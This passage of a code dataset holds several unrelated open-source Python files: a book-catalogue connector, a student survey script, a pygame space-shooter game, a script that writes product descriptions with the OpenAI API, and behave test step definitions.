full_filepath\n\n    def fetchData(self, unpack = True):\n        self.save_time_of_(\"fetch_start\")\n        full_filepath = self.downloadFile()\n        if self.mode != GenericConnector.BookList_Mode.MULTIPLE_JSON:\n            raise WrongConnectorModeException('Incorrect mode %s for connector type %s' %\n            (GenericConnector.BookList_Mode.to_str(self.mode), self.__class__.__name__))\n\n        self.fetched_files.append(full_filepath)\n        with open(full_filepath, 'rU') as json_file:\n            book_list = json.load(json_file)\n        for book in book_list:\n            self.fetched_files.append(self._fetch_full_book_file(book))\n\n        self.save_time_of_(\"fetch_end\")\n\n    #external id for wolnelektury is a md5 of url.\n    #We believe url to boom is most stable\n    def create_id_from_url(self, dic):\n        dic['external_id'] = unicode(hashlib.md5(urllib2.urlparse.urlparse(dic['url']).path).hexdigest())\n\n\n    def validate_number_of_books_in_db(self):\n        session = sessionmaker(bind = SqlWrapper.getEngine())()\n        db_count = session.query(WolneLekturyBook).count()\n        session.close()\n\n        book_list_len = len(self.book_list)\n        if db_count < book_list_len:\n            self.erratum_logger.error('Number of books in database (%d) is less than number got from connector (%d). Check it' % (db_count, book_list_len))\n        elif db_count > book_list_len:\n            self.erratum_logger.warning('Number of books in database (%d) is greater than number got from connector (%d). It is possible that some book exists in db twice' % (db_count, book_list_len))\n\n    def adjust_parse(self, dic):\n        self.create_id_from_url(dic)\n\n    def after_parse(self):\n        self.validate_number_of_books_in_db()\n\n    def parse(self, force=False):\n        self.save_time_of_(\"parse_start\")\n        self.before_parse()\n        book_number = 0\n        with open(self.fetched_files[0], 'rU') as json_file:\n            self.book_list = json.load(json_file)\n        for book in self.book_list:\n            book_name = self.get_book_name_from_url(book[u'href'])\n            with open('%s_%s' % (self.fetched_files[0], book_name), 'rU') as json_file:\n                book_details = json.load(json_file)\n            book.update(book_details)\n\n            dic = self.makeDict(book)\n            self.adjust_parse(dic)\n            #uncomment when creating connector\n            #self.measureLenghtDict(dic)\n            #print dic\n\n            self.validate(dic)\n            #comment out when creating connector\n            self.add_record(dic)\n\n        self.after_parse()\n        #uncomment when creating connector\n        #print self.max_len\n        #print self.max_len_entry\n\n        self.save_info_about_offers(offers_parsed = len(self.book_list))\n        self.save_time_of_(\"parse_end\")\n\n    def validateFormats(self, dic, id, title):\n        formats = [f for f in self.supported_formats if dic.get(f, None)]\n        dic['formats'] = formats\n        from models.BookType import BookType\n        dic['book_type'] = BookType.fromFormats(formats)\n\n#TODO: add external_id book model\nclass WolneLekturyBook(GenericBook, Base):\n    id = Column(Integer, primary_key = True)\n#    {'url': 121, 'cover': 125, 'thumbnail': 77, 'title': 91 }\n    #price - derived\n    external_id = Column(Unicode(32), unique = True)\n    #url\n    title = Column(Unicode(128))        #91\n    #cover\n    thumbnail = Column(STUrl)    #77\n    #authors - derived\n\n","repo_name":"SpisTresci/spistresci","sub_path":"spistresci/connectors/specific/WolneLektury.py","file_name":"WolneLektury.py","file_ext":"py","file_size_in_byte":4768,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
+{"seq_id":"70661584462","text":"# A program to analyze data collected in the surver.\r\nimport data_helper\r\n\r\ndef find_average_year():\r\n\t# Load the data using the appropraite function from the data_helper module,\r\n\t# and search through it to find the average age of respondants.\r\n\t# Return that value.\r\n\tdata = data_helper.load_data('list_of_responses.json')\r\n\ttotal_year = 0\r\n\tfor response in data:\r\n\t\ttotal_year+= response['year']\r\n\treturn total_year/len(data)\r\n\tpass\r\n\r\ndef num_month_counts():\r\n\tmonth_counts = {\r\n\t'december':0,\r\n\t'january':0,\r\n\t'february':0,\r\n\r\n\t'march':0,\r\n\t'april':0,\r\n\t'may':0,\r\n\r\n\t'june':0,\r\n\t'july':0,\r\n\t'august':0,\r\n\r\n\t'september':0,\r\n\t'october':0,\r\n\t'november':0,\r\n\r\n\t}\r\n\tdata = data_helper.load_data('list_of_responses.json')\r\n\tfor response in data:\r\n\t\tmonth= response['month']\r\n\r\n\treturn month_counts \r\n\t# Load the data using the appropriate function from the data_helper module,\r\n\t# and search through it to find the number of unique and complete responses\r\n\t# you have.\r\n","repo_name":"lisasystaliuk/Python-GWC","sub_path":"Data-Week-3/Survey-Project/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"42330032139","text":"'''\r\nAuthor: Freeman Zhang\r\nDate: May 30, 2017\r\nDescription: This is the code for the main game of GalaQuest\r\n'''\r\n\r\n# I - Import and Initialize\r\nimport pygame, Sprites, random\r\npygame.init()\r\npygame.mixer.init()\r\n\r\ndef help():\r\n    '''Displays the help page, will return to main menu if the user presses backspace'''\r\n    # D - Display configuration\r\n    screen = pygame.display.set_mode((480, 640))\r\n    pygame.display.set_caption(\"GalaQuest\")\r\n \r\n    # E - Entities\r\n    background = pygame.Surface((480, 640))\r\n    help = pygame.image.load('Help.png')\r\n    screen.blit(help, (0,0))\r\n    \r\n    allSprites = pygame.sprite.OrderedUpdates()\r\n    \r\n    # Hide the mouse pointer\r\n    pygame.mouse.set_visible(False)  \r\n    \r\n    # A - Action (broken into ALTER steps)\r\n    \r\n        # A - Assign values to key variabless\r\n    clock = pygame.time.Clock()\r\n    keepGoing = True\r\n\r\n        # L - Loop\r\n    while keepGoing:\r\n \r\n        # T - Timer to set frame rate\r\n        clock.tick(30)\r\n        # E - Event handling\r\n        for event in pygame.event.get():\r\n            if event.type == pygame.QUIT:\r\n                keepGoing = False\r\n        \r\n        #Takes the keys that the user presses and moves the player sprite \r\n        keys = pygame.key.get_pressed()\r\n        if keys[pygame.K_BACKSPACE]: \r\n            return 0\r\n            \r\n        # R - Refresh display\r\n        allSprites.clear(screen, background)\r\n        allSprites.update(screen)\r\n        allSprites.draw(screen)\r\n        \r\n        pygame.display.flip()\r\n    \r\n    # exits function, back into main() \r\n    return \r\n    \r\ndef menu():\r\n    '''Displays the main menu, with two options'''\r\n    # D - Display configuration\r\n    screen = pygame.display.set_mode((480, 640))\r\n    pygame.display.set_caption(\"GalaQuest\")\r\n \r\n    # E - Entities\r\n    #Loading and playing the background music for the menu\r\n    pygame.mixer.music.load('Intro Screen.mp3')\r\n    pygame.mixer.music.play(-1)\r\n    pygame.mixer.music.set_volume(0.1)\r\n    \r\n    #creates sprites for the background, menu and pointer\r\n    background = pygame.Surface((480, 640))\r\n    menu = Sprites.Menu()  \r\n    pointer = Sprites.Pointer()\r\n\r\n    allSprites = pygame.sprite.OrderedUpdates(menu, pointer)\r\n    \r\n    # Hide the mouse pointer\r\n    pygame.mouse.set_visible(False)  \r\n    \r\n    # A - Action (broken into ALTER steps)\r\n    \r\n        # A - Assign values to key variabless\r\n    clock = pygame.time.Clock()\r\n    keepGoing = True\r\n\r\n        # L - Loop\r\n    while keepGoing:\r\n \r\n        # T - Timer to set frame rate\r\n        clock.tick(30)\r\n        # E - Event handling\r\n        for event in pygame.event.get():\r\n            if event.type == pygame.QUIT:\r\n                keepGoing = False\r\n        \r\n        #Takes the keys that the user presses and moves the pointer\r\n        keys = pygame.key.get_pressed()\r\n        #changes the pages \r\n        if menu.get_page() == 2:\r\n            if keys[pygame.K_UP]: \r\n                pointer.move_up()\r\n                menu.move_up()\r\n            #will return 2 to go the the help screen\r\n            if keys[pygame.K_SPACE]:\r\n                return 2\r\n            \r\n        if menu.get_page() == 1:\r\n            if keys[pygame.K_DOWN]: \r\n                pointer.move_down()\r\n                menu.move_down()\r\n            #will return 1 to go to the main game\r\n            if keys[pygame.K_SPACE]:\r\n                return 1\r\n            \r\n        # R - Refresh display\r\n        allSprites.clear(screen, background)\r\n        allSprites.update(screen)\r\n        allSprites.draw(screen)\r\n        \r\n        pygame.display.flip()\r\n    \r\n    # exits function, back into main() \r\n    return \r\n        \r\n\r\ndef game():\r\n    '''Controls the main game loop'''\r\n    # D - Display configuration\r\n    screen = pygame.display.set_mode((480, 640))\r\n    pygame.display.set_caption(\"GalaQuest\")\r\n \r\n    # E - Entities \r\n    #Loads and plays the main battle music\r\n    pygame.mixer.music.load('Arcade Funk.mp3')\r\n    pygame.mixer.music.play(-1)\r\n    pygame.mixer.music.set_volume(0.2) \r\n    #Loads in 2 sfx, one for shooting and the other for explosion\r\n    shoot = pygame.mixer.Sound('shoot.wav')\r\n    shoot.set_volume(0.1)\r\n    boom = pygame.mixer.Sound('boom.wav')\r\n    boom.set_volume(0.2)\r\n    \r\n    #Loads in the sprites for the background, player, border, score, health and boss\r\n    background = pygame.Surface((480, 640))\r\n    background2 = Sprites.Background()    \r\n    player = Sprites.Player(screen)\r\n    border = Sprites.Border(screen)\r\n    score = Sprites.Score()\r\n    player_health = Sprites.Player_health(screen)\r\n    boss_ship = Sprites.Boss(screen)\r\n    #Creats sprite groups for health bars, bullets, enemies, powerup and explosions\r\n    health = pygame.sprite.Group(player_health)\r\n    good_bullet_group = pygame.sprite.Group()\r\n    bad_bullet_group = pygame.sprite.Group()\r\n    laser_group = pygame.sprite.Group()\r\n    enemy_group = pygame.sprite.Group()\r\n    powerups = pygame.sprite.Group()\r\n    explosion_group = pygame.sprite.Group()\r\n    #creates the allsprites group\r\n    allSprites = pygame.sprite.OrderedUpdates(background2, good_bullet_group, laser_group, bad_bullet_group, boss_ship, powerups, enemy_group, player, explosion_group, border, score, health)\r\n    \r\n    #preloads some animations offscreen to prevent lag later on\r\n    explode = Sprites.Explosion((-100, -100))\r\n    explosion_group.add(explode)\r\n    laser = Sprites.Laser((-100, -100))\r\n    laser_group.add(laser)\r\n\r\n    \r\n    # Hide the mouse pointer\r\n    pygame.mouse.set_visible(False)  \r\n    \r\n    # A - Action (broken into ALTER steps)\r\n    \r\n        # A - Assign values to key variabless\r\n    clock = pygame.time.Clock()\r\n    keepGoing = True\r\n    player_shoot = True\r\n    boss_shoot = True\r\n    enemy_appear = True\r\n    boss_appear = True\r\n    boss_health_appear = False\r\n    change_attack_pattern = True\r\n    boss_laser = True\r\n    player_move = True\r\n    wave_1 = True\r\n    wave_2 = False\r\n    wave_3 = False\r\n    wave_4 = False\r\n    wave_5 = False\r\n    boss_wave = False   \r\n    end_game_counter = 0\r\n    boss_attack_pattern = 1\r\n    attack_pattern_length = 1    \r\n    bonus = 0\r\n    count = 0\r\n    gameover = 0\r\n\r\n\r\n        # L - Loop\r\n    while keepGoing:\r\n \r\n        # T - Timer to set frame rate\r\n        clock.tick(30)\r\n        # E - Event handling\r\n        for event in pygame.event.get():\r\n            if event.type == pygame.QUIT:\r\n                keepGoing = False\r\n            #if event.type == pygame.KEYDOWN:\r\n        \r\n        #To control the speed at which the player shoots\r\n        if player_shoot:\r\n            start_ticks_shoot = pygame.time.get_ticks()\r\n            player_shoot = False\r\n        #shoots a bullet every 0.3 seconds\r\n        if (pygame.time.get_ticks() - start_ticks_shoot)/100 > 3:\r\n            good_bullet = Sprites.Good_Bullet(player.get_top())    \r\n            good_bullet_group.add(good_bullet)\r\n            allSprites = pygame.sprite.OrderedUpdates(background2, good_bullet_group, laser_group, bad_bullet_group, boss_ship, powerups, enemy_group, player, explosion_group, border, score, health)\r\n            shoot.play()\r\n            player_shoot = True\r\n        \r\n        if wave_1:\r\n            #To control the speed the enemies spawn\r\n            if enemy_appear:\r\n                start_ticks_enemy = pygame.time.get_ticks()\r\n                enemy_appear = False\r\n            #sends an enemy out every 0.5 seconds\r\n            if (pygame.time.get_ticks() - start_ticks_enemy)/100 > 5:\r\n                enemy = Sprites.Enemy((-50, 50), 5, 4)\r\n                enemy_group.add(enemy)\r\n                allSprites = pygame.sprite.OrderedUpdates(background2, good_bullet_group, laser_group, bad_bullet_group, boss_ship, powerups, enemy_group, player, explosion_group, border, score, health)\r\n                enemy_appear = True\r\n                count += 1\r\n                #After 8 enemies, it goes on to the next wave\r\n                if count == 8:\r\n                    count = 0\r\n                    wave_1 = False\r\n                    wave_2 = True\r\n                    x_center = 50\r\n                    \r\n        if wave_2:\r\n            #To control the speed the enemies spawn\r\n            if enemy_appear:\r\n                start_ticks_enemy = pygame.time.get_ticks()\r\n                enemy_appear = False\r\n            #sends an enemy out every 0.5 seconds\r\n            if (pygame.time.get_ticks() - start_ticks_enemy)/100 > 5:\r\n                enemy = Sprites.Enemy((x_center, -200), 0, 8)\r\n                enemy_group.add(enemy)\r\n                allSprites = pygame.sprite.OrderedUpdates(background2, good_bullet_group, laser_group, bad_bullet_group, boss_ship, powerups, enemy_group, player, explosion_group, border, score, health)\r\n                enemy_appear = True\r\n                count += 1\r\n                x_center += 50\r\n                #after 9 enemies, goes on to the next wave\r\n                if count == 9:\r\n                    count = 0\r\n                    wave_2 = False\r\n                    wave_3 = True\r\n                    \r\n        if wave_3:\r\n            #To control the speed the enemies spawn\r\n            if enemy_appear:\r\n                start_ticks_enemy = pygame.time.get_ticks()\r\n                enemy_appear = False\r\n            #sends an enemy out every 0.8 seconds\r\n            if (pygame.time.get_ticks() - start_ticks_enemy)/100 > 8:\r\n                #will spawn 8 enemies\r\n                if count < 8:\r\n                    enemy = Sprites.Enemy((600, 80), -8, 0)\r\n                    enemy_group.add(enemy)\r\n                    allSprites = pygame.sprite.OrderedUpdates(background2, good_bullet_group, laser_group, bad_bullet_group, boss_ship, powerups, enemy_group, player, explosion_group, border, score, health)\r\n                enemy_appear = True\r\n                count += 1\r\n                #After 8 seconds, goes on to the next wave\r\n                if count == 10:\r\n                    count = 0\r\n                    wave_3 = False\r\n                    wave_4 = True\r\n                    x_center = 35\r\n                    y_center = -200\r\n            #changes the movement of the enemies in this group        \r\n            for enemy in enemy_group:\r\n                if enemy.rect.left < 200:\r\n                    enemy.change_move(0, 6)\r\n                    \r\n        if wave_4:\r\n            #To control the speed the enemies spawn\r\n            if enemy_appear:\r\n                start_ticks_enemy = pygame.time.get_ticks()\r\n                enemy_appear = False\r\n            #sends an enemy out every 0.1 seconds\r\n            if (pygame.time.get_ticks() - start_ticks_enemy)/100 > 1:\r\n                #will spawn 9 enemies\r\n                if count < 9:\r\n                    enemy = Sprites.Enemy((x_center, y_center), 0, 4)\r\n                    enemy_group.add(enemy)\r\n                    allSprites = pygame.sprite.OrderedUpdates(background2, good_bullet_group, laser_group, bad_bullet_group, boss_ship, powerups, enemy_group, player, explosion_group, border, score, health)\r\n                enemy_appear = True\r\n                count += 1\r\n                x_center += 51\r\n                y_center += 26\r\n                #Will go to the next wave after 30 counts\r\n                if count == 30:\r\n                    count = 0\r\n                    wave_4 = False\r\n                    wave_5 = True\r\n                    x_center = 35\r\n                    y_center = -300\r\n                    y_change = 100\r\n                    \r\n        if wave_5:\r\n            #To control the speed the enemies spawn\r\n            if enemy_appear:\r\n                start_ticks_enemy = pygame.time.get_ticks()\r\n                enemy_appear = False\r\n            #sends an enemy out every 0.05 seconds\r\n            if (pygame.time.get_ticks() - start_ticks_enemy)/10 > 5:\r\n                #Will spawn 9 enemies\r\n                if count < 9:\r\n                    enemy = Sprites.Enemy((x_center, y_center), 0, 4)\r\n                    enemy_group.add(enemy)\r\n                    allSprites = pygame.sprite.OrderedUpdates(background2, good_bullet_group, laser_group, bad_bullet_group, boss_ship, powerups, enemy_group, player, explosion_group, border, score, health)\r\n                enemy_appear = True\r\n                count += 1\r\n                x_center += 51\r\n                y_center += y_change\r\n                y_change = -y_change\r\n                #After 75 counts, it will go on to the next wave\r\n                if count == 75:\r\n                    count = 0\r\n                    wave_5 = False\r\n                    boss_wave = True        \r\n            \r\n        #To make the boss show up        \r\n        if boss_wave and boss_appear:\r\n            player.change_boundary()\r\n            boss_ship.start_move()\r\n            boss_appear = False\r\n            boss_health_appear = True\r\n            #changes the music to the boss battle music\r\n            pygame.mixer.music.load('Fast Ace.wav')\r\n            pygame.mixer.music.set_volume(0.2)            \r\n            pygame.mixer.music.play(-1)\r\n            \r\n        \r\n        #Creates the boss' health bar and adds it to the health group    \r\n        if boss_ship.check_move() == 0 and boss_health_appear:\r\n            border.boss_health(screen)\r\n            boss_health = Sprites.Boss_Health(screen)\r\n            health.add(boss_health)\r\n            allSprites = pygame.sprite.OrderedUpdates(background2, good_bullet_group, laser_group, bad_bullet_group, boss_ship, powerups, enemy_group, player, explosion_group, border, score, health)\r\n            boss_health_appear = False\r\n            \r\n        #For when the boss shows up\r\n        \r\n        #Changing attack patterns\r\n        if change_attack_pattern:\r\n            start_ticks_change_pattern = pygame.time.get_ticks()\r\n            change_attack_pattern = False\r\n        #Each attack pattern has a different time length\r\n        if (pygame.time.get_ticks() - start_ticks_change_pattern)/1000 > attack_pattern_length:\r\n            if boss_attack_pattern == 1:\r\n                boss_attack_pattern = 2\r\n                attack_pattern_length = 7\r\n            elif boss_attack_pattern == 2:\r\n                boss_attack_pattern = 3\r\n                boss_laser = True\r\n                attack_pattern_length = 5\r\n            else:\r\n                boss_attack_pattern = 1\r\n                attack_pattern_length = 4\r\n            change_attack_pattern = True \r\n\r\n        #Attack pattern 1\r\n        if boss_attack_pattern == 1 and not boss_appear and boss_ship.check_move() == 0:\r\n            if boss_shoot:\r\n                start_ticks_boss_shoot = pygame.time.get_ticks()\r\n                boss_shoot = False\r\n            #Every 0.9 seconds, it will spawn 8 bullets in certain positions\r\n            if (pygame.time.get_ticks() - start_ticks_boss_shoot)/100 > 9:            \r\n                bad_bullet1 = Sprites.Bad_Bullet((boss_ship.rect.centerx+10, boss_ship.rect.bottom - 5))\r\n                bad_bullet2 = Sprites.Bad_Bullet((boss_ship.rect.centerx-10, boss_ship.rect.bottom - 5))\r\n                bad_bullet3 = Sprites.Bad_Bullet((boss_ship.rect.centerx+19, boss_ship.rect.bottom - 5))\r\n                bad_bullet4 = Sprites.Bad_Bullet((boss_ship.rect.centerx-19, boss_ship.rect.bottom - 5))                \r\n                bad_bullet5 = Sprites.Bad_Bullet((screen.get_width() - 66, boss_ship.rect.bottom - 60))\r\n                bad_bullet6 = Sprites.Bad_Bullet((66, boss_ship.rect.bottom - 60))\r\n                bad_bullet7 = Sprites.Bad_Bullet((screen.get_width() - 54, boss_ship.rect.bottom - 60))\r\n                bad_bullet8 = Sprites.Bad_Bullet((54, boss_ship.rect.bottom - 60))                 \r\n                bad_bullet_group.add(bad_bullet1, bad_bullet2, bad_bullet3, bad_bullet4, bad_bullet5, bad_bullet6, bad_bullet7, bad_bullet8)\r\n                #recreating the spritegroup\r\n                allSprites = pygame.sprite.OrderedUpdates(background2, good_bullet_group, laser_group, bad_bullet_group, boss_ship, powerups, enemy_group, player, explosion_group, border, score, health)\r\n                boss_shoot = True\r\n        \r\n        #Attack pattern 2        \r\n        if boss_attack_pattern == 2 and not boss_appear and boss_ship.check_move() == 0:\r\n            if boss_shoot:\r\n                start_ticks_boss_shoot = pygame.time.get_ticks()\r\n                boss_shoot = False\r\n            if (pygame.time.get_ticks() - start_ticks_boss_shoot)/100 > 8:\r\n                #Every 0.8 seconds, it spawns many bullets at slightly different positions\r\n                for y in range(3, 7):\r\n                    for x in range(-3, 4):\r\n                        round_bullet1 = Sprites.Round_Bullet((boss_ship.rect.centerx + random.randrange(-50, 50), boss_ship.rect.bottom + random.randrange(-30, 50)), x*2, y)\r\n                        bad_bullet_group.add(round_bullet1)\r\n                #recreating the spritegroup\r\n                allSprites = pygame.sprite.OrderedUpdates(background2, good_bullet_group, laser_group, bad_bullet_group, boss_ship, powerups, enemy_group, player, explosion_group, border, score, health)\r\n                boss_shoot = True\r\n                \r\n        #Attack Pattern 3\r\n        if boss_attack_pattern == 3 and not boss_appear and boss_ship.check_move() == 0:\r\n            if boss_laser == True:\r\n                #Creates 2 lasers and adds them to the laser group\r\n                laser1 = Sprites.Laser((117, 370))\r\n                laser2 = Sprites.Laser((363, 370))\r\n                laser_group.add(laser1, laser2)\r\n                #recreating the spritegroup\r\n                allSprites = pygame.sprite.OrderedUpdates(background2, good_bullet_group, laser_group, bad_bullet_group, boss_ship, powerups, enemy_group, player, explosion_group, border, score, health) \r\n                boss_laser = False  \r\n        \r\n        #checks for boss and good bullet collision\r\n        if not boss_appear and boss_ship.check_move() == 0:\r\n            if pygame.sprite.spritecollide(boss_ship, good_bullet_group, False):\r\n                for bullet in good_bullet_group:\r\n                    if boss_ship.rect.colliderect(bullet):\r\n                        bullet.hit_boss()\r\n                        boss_health.lose_health(1)\r\n                        #Every quarter of the boss health, it will spawn a powerup\r\n                        if boss_health.get_health() % 500 == 0 and boss_health.get_health()>0:\r\n                            heal = Sprites.Heal((random.randrange(80, 400), boss_ship.rect.bottom))\r\n                            powerups.add(heal)\r\n                #Increasing the bonus score\r\n                bonus += 1\r\n                score.increase_score(bonus - 250)\r\n      \r\n        #Collision between player and bad bullets            \r\n        if pygame.sprite.spritecollide(player, bad_bullet_group, False):\r\n            for bullet in bad_bullet_group:\r\n                if player.rect.colliderect(bullet):\r\n                    #Will check if the bullets hit the top left and right corners of the player sprite\r\n                    if not bullet.rect.collidepoint(player.rect.topleft) and\\\r\n                       not bullet.rect.collidepoint(player.rect.topright):\r\n                        #This will hide the sprite offscreen and kill it\r\n                        bullet.hide()\r\n                        bullet.kill()\r\n                        player_health.lose_health(15)\r\n                        #resets the bonus score\r\n                        bonus = 0\r\n         \r\n        #Checks if the boss is dead               \r\n        if not boss_appear and boss_ship.check_move() == 0 and boss_health.get_health() == 0:\r\n            #Explosions spawned within the boss area\r\n            for explode in range(15):\r\n                explosion = Sprites.Explosion((random.randrange(boss_ship.rect.left, boss_ship.rect.right),\\\r\n                                               random.randrange(boss_ship.rect.top, boss_ship.rect.bottom)))\r\n                explosion_group.add(explosion)\r\n                boom.play()\r\n            #recreating the sprite group\r\n            allSprites = pygame.sprite.OrderedUpdates(background2, good_bullet_group, laser_group, bad_bullet_group, boss_ship, powerups, enemy_group, player, explosion_group, border, score, health)\r\n            #Kills all projectiles onscreen\r\n            for bullet in bad_bullet_group:\r\n                bullet.kill()\r\n            for laser in laser_group:\r\n                laser.kill()\r\n            for bullet in good_bullet_group:\r\n                bullet.kill()\r\n            end_game_counter += 1\r\n            #changes gameover to 1 and will show a victory screen\r\n            gameover = 1\r\n            \r\n        #Checks if the player is dead    \r\n        if player_health.get_health() == 0: \r\n            player_move = False\r\n            #explosions spawned within the player area\r\n            for explode in range(1):\r\n                boom.play()\r\n                explosion = Sprites.Explosion((random.randrange(player.rect.left, player.rect.right),\\\r\n                                                   random.randrange(player.rect.top, player.rect.bottom)))\r\n                explosion_group.add(explosion)\r\n            #recreating the sprite group\r\n            allSprites = pygame.sprite.OrderedUpdates(background2, good_bullet_group, laser_group, bad_bullet_group, boss_ship, powerups, enemy_group, player, explosion_group, border, score, health)\r\n            for bullet in bad_bullet_group:\r\n                    bullet.kill()\r\n            for laser in laser_group:\r\n                laser.kill()\r\n            for bullet in good_bullet_group:\r\n                bullet.kill()\r\n            end_game_counter += 1 \r\n            #changes gameover to 2 which will display a defeat screen\r\n            gameover = 2\r\n        \r\n        #lets the explosions play for a while, before exitting the loop        \r\n        if end_game_counter == 100:\r\n            keepGoing = False            \r\n                \r\n            \r\n        #collision between player and lasers\r\n        if pygame.sprite.spritecollide(player, laser_group, False):\r\n            for laser in laser_group:\r\n                if player.rect.colliderect(laser) and laser.final_form():                   \r\n                    player_health.lose_health(3)\r\n                    bonus = 0\r\n\r\n        #Detects collision between the good bullets and the enemies\r\n        if pygame.sprite.groupcollide(good_bullet_group, enemy_group, False, False):\r\n            for enemy in enemy_group:\r\n                for bullet in good_bullet_group:\r\n                    if bullet.rect.colliderect(enemy):\r\n                        boom.play()\r\n                        #gets the current center before hiding it to be used later\r\n                        center = enemy.get_center()\r\n                        #This will hide the sprite offscreen and kill it\r\n                        enemy.hide()\r\n                        enemy.kill()\r\n                        # 5% chance to spawn a heal\r\n                        if random.randrange(20) == 0:\r\n                            heal = Sprites.Heal(center)\r\n                            powerups.add(heal)\r\n                        explosion = Sprites.Explosion(center)\r\n                        explosion_group.add(explosion)\r\n                        bullet.hide()\r\n                        bullet.kill()\r\n                        #increases the score and bonus\r\n                        score.increase_score(100 + bonus)\r\n                        bonus += 10\r\n                        \r\n        \r\n        #Detects collision between the player and enemies                \r\n        if pygame.sprite.spritecollide(player, enemy_group, False):\r\n            for enemy in enemy_group:\r\n                if enemy.rect.colliderect(player):\r\n                    boom.play()\r\n                    center = enemy.get_center()\r\n                    #This will hide the sprite offscreen and kill it\r\n                    enemy.hide()\r\n                    enemy.kill()\r\n                    #spawns an explosion\r\n                    explosion = Sprites.Explosion(center)\r\n                    explosion_group.add(explosion)                    \r\n                    player_health.lose_health(30)\r\n                    score.increase_score(100)\r\n        \r\n        #Detects collision betwen the player and the powerup            \r\n        if pygame.sprite.spritecollide(player, powerups, False):\r\n            for powerup in powerups:\r\n                if powerup.rect.colliderect(player): \r\n                    player_health.heal_health()\r\n                    powerup.kill()\r\n        \r\n        #Checks if the enemies fly off the screen without being killed\r\n        #If they are alive, then the score is decreased and bonus is reset\r\n        for enemy in enemy_group:\r\n            if enemy.getx() > 0 and enemy.rect.left > screen.get_width():\r\n                enemy.hide()\r\n                bonus = 0\r\n                score.decrease_score(50)\r\n            if enemy.getx() < 0 and enemy.rect.right < 0:\r\n                enemy.hide()\r\n                bonus = 0\r\n                score.decrease_score(50)\r\n            if enemy.rect.top > screen.get_height():\r\n                enemy.hide()\r\n                bonus = 0\r\n                score.decrease_score(50)\r\n                \r\n        #Takes the keys that the user presses and moves the player sprite\r\n        if player_move:\r\n            keys = pygame.key.get_pressed()\r\n            if keys[pygame.K_UP]: player.changey(0, screen)\r\n            if keys[pygame.K_DOWN]: player.changey(1, screen)\r\n            if keys[pygame.K_RIGHT]: player.changex(1, screen)\r\n            if keys[pygame.K_LEFT]: player.changex(0, screen)\r\n           \r\n        # R - Refresh display\r\n        allSprites.clear(screen, background)\r\n        allSprites.update(screen)\r\n        allSprites.draw(screen)\r\n        \r\n        pygame.display.flip()\r\n    \r\n    #shows a victory screen\r\n    if gameover == 1:\r\n        victory = pygame.image.load('victory.png')\r\n        screen.blit(victory, (-100, 0))\r\n        pygame.display.flip()\r\n    #shows a defeat screen\r\n    if gameover == 2:\r\n        defeat = pygame.image.load('defeat.png')\r\n        screen.blit(defeat, (30, 80))\r\n        pygame.display.flip()        \r\n    \r\n    #delays the game for 2 seconds, before exitting\r\n    pygame.time.delay(2000)    \r\n    # exits function, back into main() \r\n    return \r\n\r\ndef main():\r\n    '''Controls the different game pages'''\r\n    # hide the mouse pointer\r\n    pygame.mouse.set_visible(False)\r\n    \r\n    option = 0\r\n    while option == 0:\r\n        option = menu()\r\n        if option == 1:\r\n            #after the game ends, option will still be 1, so the loop will end\r\n            game()\r\n        if option == 2:\r\n            #help will return 0 so the menu loop will continue\r\n            option = help()\r\n            \r\n    # Unhide the mouse pointer\r\n    pygame.mouse.set_visible(True)\r\n    #quits main        \r\n    pygame.quit()\r\n    \r\nmain()","repo_name":"freeman-zhang/GalaQuest","sub_path":"GalaQuest.py","file_name":"GalaQuest.py","file_ext":"py","file_size_in_byte":26931,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
+{"seq_id":"28482450330","text":"import os, dotenv\nimport openai\n\ndotenv.load_dotenv()\nopenai.api_key = os.getenv(\"OPENAI_API_KEY\")\n\ndef get_api_answer(nome_produto: str) -> str:\n    prompt = f\"Gerar uma descrição para se colocar no maketpalce do produto: {nome_produto}\"\n    response = openai.Completion.create(\n        model=\"text-davinci-003\",\n        prompt= prompt,\n        temperature=0.7,\n        max_tokens= 2048,\n        n=1, \n        stop=None \n    )\n    return response['choices'][0]['text'].strip()\n\nif __name__ == '__main__':\n    produto = 'Galaxy buds 2'\n    api_answer = get_api_answer(produto)\n    print(get_api_answer(api_answer))\n\n\n\n","repo_name":"paul-ricard0/API-CHATGPT","sub_path":"gerador_descricao/gerador_descricao.py","file_name":"gerador_descricao.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"55"}
+{"seq_id":"72469678890","text":"import time\n\nfrom behave import step\nfrom utils.Helpers import Helpers\nfrom config.Config import TestData\n\nhelpers = Helpers()\ntestData = TestData()\n\n\n@step('user should see page title is \"{expected_title}\"')\ndef page_title_is(context, expected_title):\n    context.sb.assert_title(expected_title)\n\n\n@step(\"user is not logged in\")\ndef clear_local_storage(context):\n    context.sb.clear_local_storage()\n\n\n@step('Open the \"{}\"')\ndef open_page(context, page):\n    sb = context.sb\n    sb.open(page)\n\n\n@step('User is at \"{page}\"')\ndef go_to_page(context, page):\n    sb = context.sb\n    sb.open(helpers.return_page_url(page))\n\n\n@step('user clicks to the \"{locator}\"')\ndef click_to_element(context, locator):\n    sb = context.sb\n    sb.click(helpers.return_selector(locator))\n\n\n@step('user should see \"{locator}\"')\ndef user_should_see_element(context, locator):\n    sb = context.sb\n    sb.assert_element(helpers.return_selector(locator))\n\n\n@step('user should see url is \"{page}\"')\ndef page_url_is(context, page):\n    if \"http\" in page:\n        expected_url = page\n    else:\n        expected_url = helpers.return_page_url(page)\n\n    sb = context.sb\n    sb.assert_true(sb.get_current_url() == expected_url)\n\n\n@step('user should see text \"{text}\"')\ndef user_should_see_text(context, text):\n    sb = context.sb\n    sb.assert_element(f\"//*[contains(text(),'{text}')]\")\n\n\n@step('\"{element}\"\\'s \"{attribute}\" attribute has \"{required_value}\"')\ndef element_attr_has_value(context, element, attribute, required_value):\n    sb = context.sb\n    sb.assert_true(required_value in (sb.get_attribute(helpers.return_selector(element), attribute)))\n\n\n@step('user should see \"{item}\" contains \"{itemText}\" text')\ndef menu_contains_text(context, item, itemText):\n    sb = context.sb\n    texts = sb.get_text_content(helpers.return_selector(item))\n    sb.assert_true(itemText in texts)\n\n\n@step('user should see \"{locator}\" contains \"{item_amount}\" items')\ndef elem_contains_number_of_items(context, locator, 